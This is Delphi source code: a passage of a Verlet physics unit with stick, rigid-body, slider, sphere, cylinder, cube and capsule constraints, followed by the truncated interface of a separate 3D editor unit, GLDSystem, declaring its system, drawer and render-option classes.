cDefaultDelta: TAffineVector = (X: 0.01; Y: 0; Z: 0);
begin
Assert((NodeA <> NodeB), 'The nodes are identical - that causes division by zero!');
VectorSubtract(NodeB.Location, NodeA.Location, delta);
deltaLength := VectorLength(delta);
// Avoid div by zero!
if deltaLength < 1E-3 then
begin
delta := cDefaultDelta;
deltaLength := 0.01;
end;
diff := (deltaLength - RestLength) / deltaLength;
if Abs(diff) > Slack then
begin
r := 1 / (NodeA.InvWeight + NodeB.InvWeight);
if diff < 0 then
diff := (diff + Slack) * r
else
diff := (diff - Slack) * r;
// Take into acount the different weights of the nodes!
if not NodeA.NailedDown then
begin
F := diff * NodeA.InvWeight;
CombineVector(NodeA.FLocation, delta, F);
NodeA.FChangedOnStep := Owner.CurrentStepCount;
end;
if not NodeB.NailedDown then
begin
F := -diff * NodeB.InvWeight;
CombineVector(NodeB.FLocation, delta, F);
NodeB.FChangedOnStep := Owner.CurrentStepCount;
end;
end;
end;
procedure TVCStick.SetRestLengthToCurrent;
begin
FRestLength := VectorDistance(NodeA.Location, NodeB.Location);
end;
// ------------------
// ------------------ TVCRigidBody ------------------
// ------------------
procedure TVCRigidBody.ComputeBarycenter(var barycenter: TAffineVector);
var
i: Integer;
totWeight: Single;
begin
// first we compute the barycenter
totWeight := 0;
barycenter := NullVector;
for i := 0 to Nodes.Count - 1 do
with Nodes[i] do
begin
CombineVector(barycenter, Location, @Weight);
totWeight := totWeight + Weight;
end;
if totWeight > 0 then
ScaleVector(barycenter, 1 / totWeight);
end;
procedure TVCRigidBody.ComputeNaturals(const barycenter: TAffineVector;
var natX, natY, natZ: TAffineVector);
var
i: Integer;
delta: TAffineVector;
begin
natX := NullVector;
natY := NullVector;
natZ := NullVector;
for i := 0 to Nodes.Count - 1 do
begin
delta := VectorSubtract(Nodes[i].Location, barycenter);
CombineVector(natX, delta, FNodeParams[i].X);
CombineVector(natY, delta, FNodeParams[i].Y);
CombineVector(natZ, delta, FNodeParams[i].Z);
end;
end;
procedure TVCRigidBody.ComputeRigidityParameters;
var
i: Integer;
barycenter: TAffineVector;
d: Single;
begin
// first we compute the barycenter
ComputeBarycenter(barycenter);
// next the parameters
SetLength(FNodeParams, Nodes.Count);
SetLength(FNodeCoords, Nodes.Count);
for i := 0 to Nodes.Count - 1 do
begin
FNodeCoords[i] := VectorSubtract(Nodes[i].Location, barycenter);
d := Nodes[i].Weight / VectorLength(FNodeCoords[i]);
FNodeParams[i].X := FNodeCoords[i].X * d;
FNodeParams[i].Y := FNodeCoords[i].Y * d;
FNodeParams[i].Z := FNodeCoords[i].Z * d;
end;
ComputeNaturals(barycenter, FNatMatrix.X, FNatMatrix.Y, FNatMatrix.Z);
FNatMatrix.Z:=VectorCrossProduct(FNatMatrix.X, FNatMatrix.Y);
FNatMatrix.Y:=VectorCrossProduct(FNatMatrix.Z, FNatMatrix.X);
NormalizeVector(FNatMatrix.X);
NormalizeVector(FNatMatrix.Y);
NormalizeVector(FNatMatrix.Z);
FInvNatMatrix := FNatMatrix;
// TransposeMatrix(FInvNatMatrix);
InvertMatrix(FInvNatMatrix);
end;
procedure TVCRigidBody.SatisfyConstraint(const iteration, maxIterations: Integer);
var
i: Integer;
barycenter, delta: TAffineVector;
nrjBase, nrjAdjust: TAffineVector;
natural: array [0 .. 2] of TAffineVector;
deltas: array of TAffineVector;
begin
Assert(Nodes.Count = Length(FNodeParams), 'You forgot to call ComputeRigidityParameters!');
// compute the barycenter
ComputeBarycenter(barycenter);
// compute the natural axises
ComputeNaturals(barycenter, natural[0], natural[1], natural[2]);
natural[2] := VectorCrossProduct(natural[0], natural[1]);
natural[1] := VectorCrossProduct(natural[2], natural[0]);
for i := 0 to 2 do
NormalizeVector(natural[i]);
natural[0] := VectorTransform(natural[0], FInvNatMatrix);
natural[1] := VectorTransform(natural[1], FInvNatMatrix);
natural[2] := VectorTransform(natural[2], FInvNatMatrix);
// make the natural axises orthonormal, by picking the longest two
{ for i:=0 to 2 do
vectNorm[i]:=VectorNorm(natural[i]);
if (vectNorm[0]<vectNorm[1]) and (vectNorm[0]<vectNorm[2]) then begin
natural[0]:=VectorCrossProduct(natural[1], natural[2]);
natural[1]:=VectorCrossProduct(natural[2], natural[0]);
end else if (vectNorm[1]<vectNorm[0]) and (vectNorm[1]<vectNorm[2]) then begin
natural[1]:=VectorCrossProduct(natural[2], natural[0]);
natural[2]:=VectorCrossProduct(natural[0], natural[1]);
end else begin
natural[2]:=VectorCrossProduct(natural[0], natural[1]);
natural[0]:=VectorCrossProduct(natural[1], natural[2]);
end; }
// now the axises are back, recompute the position of all points
SetLength(deltas, Nodes.Count);
nrjBase := NullVector;
for i := 0 to Nodes.Count - 1 do
begin
nrjBase := VectorAdd(nrjBase, VectorCrossProduct(VectorSubtract(Nodes[i].Location, barycenter),
Nodes[i].GetMovement));
end;
nrjAdjust := NullVector;
for i := 0 to Nodes.Count - 1 do
begin
delta := VectorCombine3(natural[0], natural[1], natural[2],
FNodeCoords[i].X, FNodeCoords[i].Y, FNodeCoords[i].Z);
deltas[i] := VectorSubtract(VectorAdd(barycenter, delta), Nodes[i].Location);
nrjAdjust := VectorAdd(nrjBase, VectorCrossProduct(VectorSubtract(Nodes[i].Location, barycenter), deltas[i]));
Nodes[i].Location := VectorAdd(Nodes[i].Location, deltas[i]);
Nodes[i].FOldLocation := VectorAdd(Nodes[i].FOldLocation, deltas[i]);
// Nodes[i].FOldLocation:=Nodes[i].Location;
end;
deltas[0] := nrjBase;
deltas[1] := nrjAdjust;
end;
// ------------------
// ------------------ TVCSlider ------------------
// ------------------
procedure TVCSlider.SetSlideDirection(const Value: TAffineVector);
begin
FSlideDirection := VectorNormalize(Value);
end;
procedure TVCSlider.SatisfyConstraint(const iteration, maxIterations: Integer);
var
delta: TAffineVector;
F, r: Single;
projB: TAffineVector;
begin
Assert((NodeA <> NodeB), 'The nodes are identical - that causes division by zero!');
// project B in the plane defined by A and SlideDirection
projB := VectorSubtract(NodeB.Location, NodeA.Location);
F := VectorDotProduct(projB, SlideDirection);
projB := VectorCombine(NodeB.Location, SlideDirection, 1, -F);
if Constrained and (F < 0) then
NodeB.Location := projB;
VectorSubtract(projB, NodeA.Location, delta);
// Take into acount the different weights of the nodes!
r := 1 / (NodeA.InvWeight + NodeB.InvWeight);
if not NodeA.NailedDown then
begin
F := r * NodeA.InvWeight;
CombineVector(NodeA.FLocation, delta, F);
NodeA.FChangedOnStep := Owner.CurrentStepCount;
end;
if not NodeB.NailedDown then
begin
F := -r * NodeB.InvWeight;
CombineVector(NodeB.FLocation, delta, F);
NodeB.FChangedOnStep := Owner.CurrentStepCount;
end;
end;
// ------------------
// ------------------ TVCSphere ------------------
// ------------------
function TVCSphere.GetBSphere: TBSphere;
begin
result.Center := FLocation;
result.Radius := FRadius;
end;
procedure TVCSphere.SatisfyConstraintForEdge(const aEdge: TGLVerletEdge; const iteration, maxIterations: Integer);
var
closestPoint, move, delta, contactNormal: TAffineVector;
deltaLength, diff: Single;
begin
// If the edge penetrates the sphere, try pushing the nodes until it no
// longer does
closestPoint := PointSegmentClosestPoint(FLocation, aEdge.NodeA.FLocation, aEdge.NodeB.FLocation);
// Find the distance between the two
VectorSubtract(closestPoint, Location, delta);
deltaLength := VectorLength(delta);
if deltaLength < Radius then
begin
if deltaLength > 0 then
begin
contactNormal := VectorScale(delta, 1 / deltaLength);
aEdge.NodeA.ApplyFriction(FFrictionRatio, Radius - Abs(deltaLength), contactNormal);
aEdge.NodeB.ApplyFriction(FFrictionRatio, Radius - Abs(deltaLength), contactNormal);
end;
// Move it outside the sphere!
diff := (Radius - deltaLength) / deltaLength;
VectorScale(delta, diff, move);
AddVector(aEdge.NodeA.FLocation, move);
AddVector(aEdge.NodeB.FLocation, move);
// Add the force to the kickback
// F = a * m
// a = move / deltatime
AddKickbackForceAt(FLocation,
VectorScale(move, -(aEdge.NodeA.FWeight + aEdge.NodeB.FWeight) * Owner.FInvCurrentDeltaTime));
aEdge.NodeA.FChangedOnStep := Owner.CurrentStepCount;
aEdge.NodeB.FChangedOnStep := Owner.CurrentStepCount;
end;
end;
procedure TVCSphere.SatisfyConstraintForNode(const aNode: TVerletNode;
const iteration, maxIterations: Integer);
var
delta, move, contactNormal: TAffineVector;
deltaLength, diff: Single;
begin
// Find the distance between the two
VectorSubtract(aNode.Location, Location, delta);
// Is it inside the sphere?
deltaLength := VectorLength(delta) - aNode.Radius;
if Abs(deltaLength) < Radius then
begin
if deltaLength > 0 then
begin
contactNormal := VectorScale(delta, 1 / deltaLength);
aNode.ApplyFriction(FFrictionRatio, Radius - Abs(deltaLength), contactNormal);
end
else
// Slow it down - this part should not be fired
aNode.OldApplyFriction(FFrictionRatio, Radius - Abs(deltaLength));
// Move it outside the sphere!
diff := (Radius - deltaLength) / deltaLength;
VectorScale(delta, diff, move);
AddVector(aNode.FLocation, move);
aNode.FChangedOnStep := Owner.CurrentStepCount;
// Add the force to the kickback
// F = a * m
// a = move / deltatime
AddKickbackForceAt(FLocation,
VectorScale(move, -aNode.FWeight * Owner.FInvCurrentDeltaTime));
end;
end;
// ------------------
// ------------------ TVCCylinder ------------------
// ------------------
procedure TVCCylinder.SetRadius(const val: Single);
begin
FRadius := val;
FRadius2 := Sqr(val);
end;
procedure TVCCylinder.SatisfyConstraintForNode(const aNode: TVerletNode;
const iteration, maxIterations: Integer);
var
proj, newLocation, move: TAffineVector;
F, dist2, penetrationDepth: Single;
begin
// Compute projection of node position on the axis
F := PointProject(aNode.Location, FLocation, FAxis);
proj := VectorCombine(FLocation, FAxis, 1, F);
// Sqr distance
dist2 := VectorDistance2(proj, aNode.Location);
if dist2 < FRadius2 then
begin
// move out of the cylinder
VectorLerp(proj, aNode.Location, FRadius * RSqrt(dist2), newLocation);
move := VectorSubtract(aNode.FLocation, newLocation);
penetrationDepth := VectorLength(move);
aNode.ApplyFriction(FFrictionRatio, penetrationDepth, VectorScale(move, 1 / penetrationDepth));
aNode.FLocation := newLocation;
aNode.FChangedOnStep := Owner.CurrentStepCount;
end;
end;
// ------------------
// ------------------ TVCCube ------------------
// ------------------
function TVCCube.GetAABB: TAABB;
begin
VectorAdd(FLocation, FHalfSides, result.max);
VectorSubtract(FLocation, FHalfSides, result.min);
end;
// BROKEN AND VERY SLOW!
procedure TVCCube.SatisfyConstraintForEdge(const aEdge: TGLVerletEdge;
const iteration, maxIterations: Integer);
var
Corners: array [0 .. 7] of TAffineVector;
EdgeRelative: array [0 .. 1] of TAffineVector;
shortestMove { , contactNormal } : TAffineVector;
shortestDeltaLength: Single;
procedure AddCorner(CornerID: Integer; X, Y, Z: Single);
begin
X := (X - 0.5) * 2;
Y := (Y - 0.5) * 2;
Z := (Z - 0.5) * 2;
MakeVector(Corners[CornerID], FHalfSides.X * X, FHalfSides.Y * Y, FHalfSides.Z * Z);
AddVector(Corners[CornerID], FLocation);
end;
procedure TryEdge(Corner0, Corner1: Integer);
var
CubeEdgeClosest, aEdgeClosest: TAffineVector;
CenteraEdge, move: TAffineVector;
deltaLength: Single;
begin
SegmentSegmentClosestPoint(
Corners[Corner0],
Corners[Corner1],
aEdge.NodeA.FLocation,
aEdge.NodeB.FLocation,
CubeEdgeClosest,
aEdgeClosest);
CenteraEdge := VectorSubtract(aEdgeClosest, FLocation);
if (Abs(CenteraEdge.X) < FHalfSides.X) and
(Abs(CenteraEdge.Y) < FHalfSides.Y) and
(Abs(CenteraEdge.Z) < FHalfSides.Z) then
begin
// The distance to move the edge is the difference between CenterCubeEdge and
// CenteraEdge
move := VectorSubtract(CubeEdgeClosest, aEdgeClosest);
deltaLength := VectorLength(move);
if (deltaLength > 0) and (deltaLength < shortestDeltaLength) then
begin
shortestDeltaLength := deltaLength;
shortestMove := move;
end;
end;
end;
begin
// DISABLED!
Exit;
// Early out test
EdgeRelative[0] := VectorSubtract(aEdge.FNodeA.FLocation, FLocation);
EdgeRelative[1] := VectorSubtract(aEdge.FNodeB.FLocation, FLocation);
// If both edges are on the same side of _any_ box side, the edge can't
// cut the box
if ((EdgeRelative[0].X > FHalfSides.X) and (EdgeRelative[1].X > FHalfSides.X)) or
((EdgeRelative[0].X < -FHalfSides.X) and (EdgeRelative[1].X < -FHalfSides.X)) or
((EdgeRelative[0].Y > FHalfSides.Y) and (EdgeRelative[1].Y > FHalfSides.Y)) or
((EdgeRelative[0].Y < -FHalfSides.Y) and (EdgeRelative[1].Y < -FHalfSides.Y)) or
((EdgeRelative[0].Z > FHalfSides.Z) and (EdgeRelative[1].Z > FHalfSides.Z)) or
((EdgeRelative[0].Z < -FHalfSides.Z) and (EdgeRelative[1].Z < -FHalfSides.Z)) then
begin
Exit;
end;
// For each cube edge:
// find closest positions between CubeEdge and aEdge
// if aEdgeClosestPosition within cube then
// move nodes until closest position is outside cube
// exit
AddCorner(0, 0, 0, 0);
AddCorner(1, 1, 0, 0);
AddCorner(2, 1, 1, 0);
AddCorner(3, 0, 1, 0);
AddCorner(4, 0, 0, 1);
AddCorner(5, 1, 0, 1);
AddCorner(6, 1, 1, 1);
AddCorner(7, 0, 1, 1);
shortestDeltaLength := 10E30;
TryEdge(0, 1);
TryEdge(1, 2);
TryEdge(2, 3);
TryEdge(3, 0);
TryEdge(4, 5);
TryEdge(5, 6);
TryEdge(6, 7);
TryEdge(7, 4);
TryEdge(0, 3);
TryEdge(1, 5);
TryEdge(2, 6);
TryEdge(3, 7);
if shortestDeltaLength < 10E8 then
begin
// contactNormal := VectorScale(shortestMove, 1/shortestDeltaLength);
{ aEdge.NodeA.ApplyFriction(FFrictionRatio, shortestDeltaLength, contactNormal);
aEdge.NodeB.ApplyFriction(FFrictionRatio, shortestDeltaLength, contactNormal);// }
AddVector(aEdge.NodeA.FLocation, shortestMove);
AddVector(aEdge.NodeB.FLocation, shortestMove);
aEdge.NodeA.Changed;
aEdge.NodeB.Changed;
aEdge.NodeA.FChangedOnStep := Owner.CurrentStepCount;
aEdge.NodeB.FChangedOnStep := Owner.CurrentStepCount;
end;
end;
procedure TVCCube.SatisfyConstraintForNode(const aNode: TVerletNode;
const iteration, maxIterations: Integer);
var
p, absP, contactNormal: TAffineVector;
dp: Single;
smallestSide: Integer;
begin
// TODO: Direction of Cube should be used to rotate the nodes location, as it
// stands, the cube can only face in one direction.
p := VectorSubtract(aNode.FLocation, FLocation);
absP.X := FHalfSides.X - Abs(p.X);
absP.Y := FHalfSides.Y - Abs(p.Y);
absP.Z := FHalfSides.Z - Abs(p.Z);
if (PInteger(@absP.X)^ <= 0) or (PInteger(@absP.Y)^ <= 0) or (PInteger(@absP.Z)^ <= 0) then
Exit;
if absP.X < absP.Y then
if absP.X < absP.Z then
smallestSide := 0
else
smallestSide := 2
else if absP.Y < absP.Z then
smallestSide := 1
else
smallestSide := 2;
contactNormal := NullVector;
// Only move along the "shortest" axis
if PInteger(@p.C[smallestSide])^ >= 0 then
begin
dp := absP.C[smallestSide];
contactNormal.C[smallestSide] := 1;
aNode.ApplyFriction(FFrictionRatio, dp, contactNormal);
aNode.FLocation.C[smallestSide] := aNode.FLocation.C[smallestSide] + dp;
end
else
begin
dp := absP.C[smallestSide];
contactNormal.C[smallestSide] := -1;
aNode.ApplyFriction(FFrictionRatio, dp, contactNormal);
aNode.FLocation.C[smallestSide] := aNode.FLocation.C[smallestSide] - dp;
end;
aNode.FChangedOnStep := Owner.CurrentStepCount;
end;
procedure TVCCube.SetSides(const Value: TAffineVector);
begin
FSides := Value;
FHalfSides := VectorScale(Sides, 0.5);
UpdateCachedAABB;
end;
// ------------------
// ------------------ TVCCapsule ------------------
// ------------------
procedure TVCCapsule.SetAxis(const val: TAffineVector);
begin
FAxis := VectorNormalize(val);
UpdateCachedBSphere;
end;
procedure TVCCapsule.SetLength(const val: Single);
begin
FLength := val;
FLengthDiv2 := val * 0.5;
UpdateCachedBSphere;
end;
procedure TVCCapsule.SetRadius(const val: Single);
begin
FRadius := val;
FRadius2 := Sqr(val);
UpdateCachedBSphere;
end;
function TVCCapsule.GetBSphere: TBSphere;
begin
result.Center := FLocation;
result.Radius := Length + Radius;
end;
procedure TVCCapsule.SatisfyConstraintForNode(const aNode: TVerletNode;
const iteration, maxIterations: Integer);
var
p, n2, penetrationDepth: Single;
closest, v: TAffineVector;
newLocation, move: TAffineVector;
begin
// Find the closest point to location on the capsule axis
p := ClampValue(PointProject(aNode.Location, FLocation, FAxis), -FLengthDiv2, FLengthDiv2);
closest := VectorCombine(FLocation, FAxis, 1, p);
// vector from closest to location
VectorSubtract(aNode.Location, closest, v);
// should it be altered?
n2 := VectorNorm(v);
if n2 < FRadius2 then
begin
newLocation := VectorCombine(closest, v, 1, Sqrt(FRadius2 / n2));
// Do friction calculations
move := VectorSubtract(newLocation, aNode.FLocation);
penetrationDepth := VectorLength(move);
// aNode.OldApplyFriction(FFrictionRatio, penetrationDepth);
aNode.ApplyFriction(FFrictionRatio, penetrationDepth, VectorScale(move, 1 / penetrationDepth));
aNode.FLocation := newLocation;
aNode.FChangedOnStep := Owner.CurrentStepCount;
AddKickbackForceAt(FLocation,
VectorScale(move, -aNode.FWeight * Owner.FInvCurrentDeltaTime));
end;
end;
procedure TVCCapsule.SatisfyConstraintForEdge(const aEdge: TGLVerletEdge;
const iteration, maxIterations: Integer);
var
sphereLocation, closestPoint, dummy, delta, move, contactNormal: TAffineVector;
Ax0, Ax1: TAffineVector;
deltaLength, diff, penetrationDepth: Single;
begin
VectorScale(FAxis, FLengthDiv2, Ax0);
AddVector(Ax0, FLocation);
VectorScale(FAxis, -FLengthDiv2, Ax1);
AddVector(Ax1, FLocation);
SegmentSegmentClosestPoint(aEdge.NodeA.FLocation, aEdge.NodeB.FLocation, Ax0, Ax1, dummy, sphereLocation);
// If the edge penetrates the sphere, try pushing the nodes until it no
// longer does
closestPoint := PointSegmentClosestPoint(sphereLocation, aEdge.NodeA.FLocation, aEdge.NodeB.FLocation);
// Find the distance between the two
VectorSubtract(closestPoint, sphereLocation, delta);
deltaLength := VectorLength(delta);
if deltaLength < Radius then
begin
// Move it outside the sphere!
diff := (Radius - deltaLength) / deltaLength;
VectorScale(delta, diff, move);
penetrationDepth := VectorLength(move);
contactNormal := VectorScale(move, 1 / penetrationDepth);
aEdge.NodeA.ApplyFriction(FFrictionRatio, penetrationDepth, contactNormal);
aEdge.NodeB.ApplyFriction(FFrictionRatio, penetrationDepth, contactNormal);
AddVector(aEdge.NodeA.FLocation, move);
AddVector(aEdge.NodeB.FLocation, move);
aEdge.NodeA.FChangedOnStep := Owner.CurrentStepCount;
aEdge.NodeB.FChangedOnStep := Owner.CurrentStepCount;
AddKickbackForceAt(FLocation,
VectorScale(move, -(aEdge.NodeA.FWeight + aEdge.NodeB.FWeight) * Owner.FInvCurrentDeltaTime));
end;
end;
// ------------------
// ------------------ TGLVerletEdge ------------------
// ------------------
constructor TGLVerletEdge.CreateEdgeOwned(const aNodeA, aNodeB: TVerletNode);
begin
FNodeA := aNodeA;
FNodeB := aNodeB;
inherited CreateOwned(aNodeA.Owner.SpacePartition);
end;
procedure TGLVerletEdge.UpdateCachedAABBAndBSphere;
begin
FCachedAABB.min := FNodeA.FLocation;
FCachedAABB.max := FNodeA.FLocation;
AABBInclude(FCachedAABB, FNodeB.FLocation);
AABBToBSphere(FCachedAABB, FCachedBSphere);
end;
// ------------------
// ------------------ TGLVerletEdgeList ------------------
// ------------------
function TGLVerletEdgeList.GetItems(i: Integer): TGLVerletEdge;
begin
result := Get(i);
end;
procedure TGLVerletEdgeList.SetItems(i: Integer; const Value: TGLVerletEdge);
begin
Put(i, Value);
end;
procedure TVerletNode.UpdateCachedAABBAndBSphere;
begin
FCachedAABB.min := FLocation;
FCachedAABB.max := FLocation;
FCachedBSphere.Center := FLocation;
FCachedBSphere.Radius := 0;
end;
procedure TVerletNode.SetLocation(const Value: TAffineVector);
begin
FLocation := Value;
FChangedOnStep := Owner.CurrentStepCount;
end;
procedure TGLVerletWorld.CreateOctree(const OctreeMin,
OctreeMax: TAffineVector; const LeafThreshold, MaxTreeDepth: Integer);
var
Octree: TOctreeSpacePartition;
begin
Assert(FNodes.Count = 0, 'You can only create an octree while the world is empty!');
FreeAndNil(FSpacePartition);
Octree := TOctreeSpacePartition.Create;
Octree.SetSize(OctreeMin, OctreeMax);
Octree.MaxTreeDepth := MaxTreeDepth;
Octree.LeafThreshold := LeafThreshold;
Octree.CullingMode := cmGrossCulling;
FSpacePartition := Octree;
if FUpdateSpacePartion = uspNever then
FUpdateSpacePartion := uspEveryFrame;
end;
procedure TGLVerletWorld.PauseInertia(const IterationSteps: Integer);
begin
FInertaPauseSteps := IterationSteps + 1;
Inertia := False;
end;
{ TGLVerletGlobalFrictionConstraintBox }
procedure TGLVerletGlobalFrictionConstraintBox.PerformSpaceQuery;
begin
Owner.SpacePartition.QueryAABB(FCachedAABB);
end;
procedure TGLVerletGlobalFrictionConstraintBox.SetLocation(const Value: TAffineVector);
begin
inherited;
UpdateCachedAABB;
end;
procedure TGLVerletGlobalFrictionConstraintBox.UpdateCachedAABB;
begin
FCachedAABB := GetAABB;
end;
{ TGLVerletGlobalFrictionConstraintSphere }
procedure TGLVerletGlobalFrictionConstraintSphere.PerformSpaceQuery;
begin
Owner.SpacePartition.QueryBSphere(FCachedBSphere);
end;
procedure TGLVerletGlobalFrictionConstraintSphere.SetLocation(const Value: TAffineVector);
begin
inherited;
UpdateCachedBSphere;
end;
procedure TGLVerletGlobalFrictionConstraintSphere.UpdateCachedBSphere;
begin
FCachedBSphere := GetBSphere;
end;
constructor TGLVerletGlobalConstraint.Create(const aOwner: TGLVerletWorld);
begin
inherited;
if Assigned(aOwner) then
aOwner.ConstraintsWithBeforeIterations.Add(Self);
end;
destructor TGLVerletGlobalConstraint.Destroy;
begin
if Assigned(Owner) then
Owner.ConstraintsWithBeforeIterations.Remove(Self);
inherited;
end;
end.
|
unit GLDSystem;
interface
uses
Classes, Controls, Forms, GL, GLDConst, GLDTypes, GLDClasses, GLDObjects, dialogs, sysutils,
GLDCamera, GLDGizmos, GLDModify, GLDViewer, GLDRepository, GLDXYZFrame;
type
TGLDSystemRenderOptions = class;
TGLDDrawer = class;
TGLDSystem = class;
TGLDSystem = class(TComponent)
private
FAllowRender: GLboolean;
FRenderOptions: TGLDSystemRenderOptions;
FCameraSystem: TGLDCameraSystem;
FKeys: TGLDKeys;
FMouseButtons: TGLDMouseButtons;
FMousePosition: TGLDPoint2D;
FMousePositionOnDown: TGLDPoint2D;
FMousePositionOnUp: TGLDPoint2D;
FLastMousePosition: TGLDPoint2D;
FShiftState: TShiftState;
FStatus: TGLDSystemStatus;
FSelectionType: TGLDSelectionType;
FDrawer: TGLDDrawer;
FEditedPosition: TGLDVector4fClass;
FEditedRotation: TGLDRotation3DClass;
FMoveGizmo: TGLDMoveGizmo;
FRotateGizmo: TGLDRotateGizmo;
FHomeGrid: TGLDHomeGrid;
FOrthoGrid: TGLDOrthoGrid;
FArcRotationGizmo: TGLDArcRotationGizmo;
FObjList: TGLDObjectList;
FCamList: TGLDUserCameraList;
FRepository: TGLDRepository;
FViewer: TGLDViewer;
FXYZFrame: TGLDXYZFrame;
FOnSystemNotification: TGLDSystemNotificationEvent;
procedure SelectionChanged;
procedure ResetStatus;
procedure SetStatus(Value: TGLDSystemStatus);
procedure SetRenderOptions(Value: TGLDSystemRenderOptions);
procedure SetCameraSystem(Value: TGLDCameraSystem);
procedure SetMoveGizmo(Value: TGLDMoveGizmo);
procedure SetRotateGizmo(Value: TGLDRotateGizmo);
procedure SetHomeGrid(Value: TGLDHomeGrid);
procedure SetOrthoGrid(Value: TGLDOrthoGrid);
procedure SetArcRotationGizmo(Value: TGLDArcRotationGizmo);
procedure SetRepository(Value: TGLDRepository);
procedure SetViewer(Value: TGLDViewer);
procedure SetXYZFrame(Value: TGLDXYZFrame);
procedure DoChange(Sender: TObject);
procedure OnEditedPositionChange(Sender: TObject);
procedure OnEditedRotationChange(Sender: TObject);
procedure OnXYZFrameValueChange(Sender: TObject);
procedure SystemNotification(Operation: TGLDSystemOperation; Data: Pointer);
protected
procedure Notification(AComponent: TComponent; Operation: TOperation); override;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
procedure Assign(Source: TPersistent); override;
procedure LoadFromStream(Stream: TStream);
procedure SaveToStream(Stream: TStream);
procedure Clear;
procedure New;
function SaveToFile(const FileName: string): GLboolean;
function OpenFromFile(const FileName: string): GLboolean;
function Import3dsFile(const FileName: string): GLboolean;
procedure Render;
procedure RenderForSelection;
procedure Select(const Position: TGLDPoint2D);
procedure SelectByName;
procedure DeleteSelections;
procedure DeleteSelectedObjects;
procedure CopyObjects;
procedure PasteObjects;
procedure ConvertSelectedObjectsToTriMesh;
procedure ConvertSelectedObjectsToQuadMesh;
procedure ConvertSelectedObjectsToPolyMesh;
procedure KeyDown(Key: GLushort; Shift: TShiftState);
procedure KeyUp(Key: GLushort; Shift: TShiftState);
procedure MouseDown(Button: TMouseButton; Shift: TShiftState; X, Y: GLint);
procedure MouseMove(X, Y: GLint);
procedure MouseUp(Button: TMouseButton; Shift: TShiftState; X, Y: GLint);
procedure MouseWheel(Shift: TShiftState; WheelDelta: Integer; const MousePos: TGLDPoint2D);
procedure StartSelection;
procedure StartArcRotation;
procedure StartPanning;
procedure StartZooming;
procedure StartMoving;
procedure StartRotating;
procedure StartCreatingVertices;
procedure StartCreatingPolygons;
procedure StartDrawing(AType: TGLDVisualObjectClass);
property Status: TGLDSystemStatus read FStatus;
property Drawer: TGLDDrawer read FDrawer;
published
property AllowRender: GLboolean read FAllowRender write FAllowRender default True;
property RenderOptions: TGLDSystemRenderOptions read FRenderOptions write SetRenderOptions;
property CameraSystem: TGLDCameraSystem read FCameraSystem write SetCameraSystem;
property MoveGizmo: TGLDMoveGizmo read FMoveGizmo write SetMoveGizmo;
property RotateGizmo: TGLDRotateGizmo read FRotateGizmo write SetRotateGizmo;
property HomeGrid: TGLDHomeGrid read FHomeGrid write SetHomeGrid;
property OrthoGrid: TGLDOrthoGrid read FOrthoGrid write SetOrthoGrid;
property ArcRotationGizmo: TGLDArcRotationGizmo read FArcRotationGizmo write SetArcRotationGizmo;
property Repository: TGLDRepository read FRepository write SetRepository;
property Viewer: TGLDViewer read FViewer write SetViewer;
property XYZFrame: TGLDXYZFrame read FXYZFrame write SetXYZFrame;
property OnSystemNotification: TGLDSystemNotificationEvent read FOnSystemNotification write FOnSystemNotification;
end;
TGLDDrawer = class(TGLDSysClass)
private
FTriFace: TGLDTriFace;
FQuadFace: TGLDQuadFace;
FPolygon: TGLDPolygon;
FEditedObject: TGLDVisualObject;
FEditedModify: TGLDModify;
FIOFrame: TFrame;
function GetStatus: TGLDSystemStatus;
function GetSelectionType: TGLDSelectionType;
procedure SetSelectionType(Value: TGLDSelectionType);
procedure SetEditedObject(Value: TGLDVisualObject);
procedure SetEditedModify(Value: TGLDModify);
public
constructor Create(AOwner: TPersistent); override;
destructor Destroy; override;
procedure Assign(Source: TPersistent); override;
procedure RenderDrawedPolygon;
procedure RenderForSubSelection;
procedure SubSelect(Index: GLuint);
procedure AddSubSelection(Index: GLuint);
procedure StartCreatingVertices;
procedure StartCreatingPolygons;
procedure StartDrawing(AType: TGLDVisualObjectClass);
procedure MouseDown(Button: TMouseButton; Shift: TShiftState; const Position: TGLDPoint2D);
procedure MouseMove(const Position: TGLDPoint2D);
procedure MouseUp(Button: TMouseButton; Shift: TShiftState; const Position: TGLDPoint2D);
property Status: TGLDSystemStatus read GetStatus;
property SelectionType: TGLDSelectionType read GetSelectionType write SetSelectionType;
property EditedObject: TGLDVisualObject read FEditedObject write SetEditedObject;
property EditedModify: TGLDModify read FEditedModify write SetEditedModify;
property IOFrame: TFrame read FIOFrame write FIOFrame;
end;
TGLDSystemRenderOptions = class(TGLDSysClass)
private
FRenderMode: TGLDSystemRenderMode;
FDrawEdges: GLboolean;
FEnableLighting: GLboolean;
FTwoSidedLighting: GLboolean;
FCullFacing: GLboolean;
FCullFace: TGLDCullFace;
procedure SetRenderMode(Value: TGLDSystemRenderMode);
procedure SetDrawEdges(Value: GLboolean);
procedure SetEnableLighting(Value: GLboolean);
procedure SetTwoSidedLighting(Value: GLboolean);
procedure SetCullFacing(Value: GLboolean);
procedure SetCullFace(Value: TGLDCullFace);
function GetParams: TGLDSystemRenderOptionsParams;
procedure SetParams(Value: TGLDSystemRenderOptionsParams);
public
constructor Create(AOwner: TPersistent); override;
destructor Destroy; override;
procedure Assign(Source: TPersistent); override;
procedure Apply;
procedure ApplyPolygonMode;
procedure ApplyLighting;
procedure ApplyCullFacing;
class function SysClassType: TGLDSysClassType; override;
procedure LoadFromStream(Stream: TStream); override;
procedure SaveToStream(Stream: TStream); override;
property Params: TGLDSystemRenderOptionsParams read GetParams write SetParams;
published
property RenderMode: TGLDSystemRenderMode read FRenderMode write SetRenderMode default GLD_SYSTEMRENDEROPTIONS_RENDERMODE_DEFAULT;
property DrawEdges: GLboolean read FDrawEdges write SetDrawEdges default GLD_SYSTEMRENDEROPTIONS_DRAWEDGES_DEFAULT;
property EnableLighting: GLboolean read FEnableLighting write SetEnableLighting default GLD_SYSTEMRENDEROPTIONS_ENABLELIGHTING_DEFAULT;
property TwoSidedLighting: GLboolean read FTwoSidedLighting write SetTwoSidedLighting default GLD_SYSTEMRENDEROPTIONS_TWOSIDEDLIGHTING_DEFAULT;
property CullFacing: GLboolean read FCullFacing write SetCullFacing default GLD_SYSTEMRENDEROPTIONS_CULLFACING_DEFAULT;
property CullFace: TGLDCullFace read FCullFace write SetCullFace default GLD_SYSTEMRENDEROPTIONS_CULLFACE_DEFAULT;
end;
TGLDFileHeader = packed record
HasViewer: GLboolean;
HasRepository: GLboolean;
end;
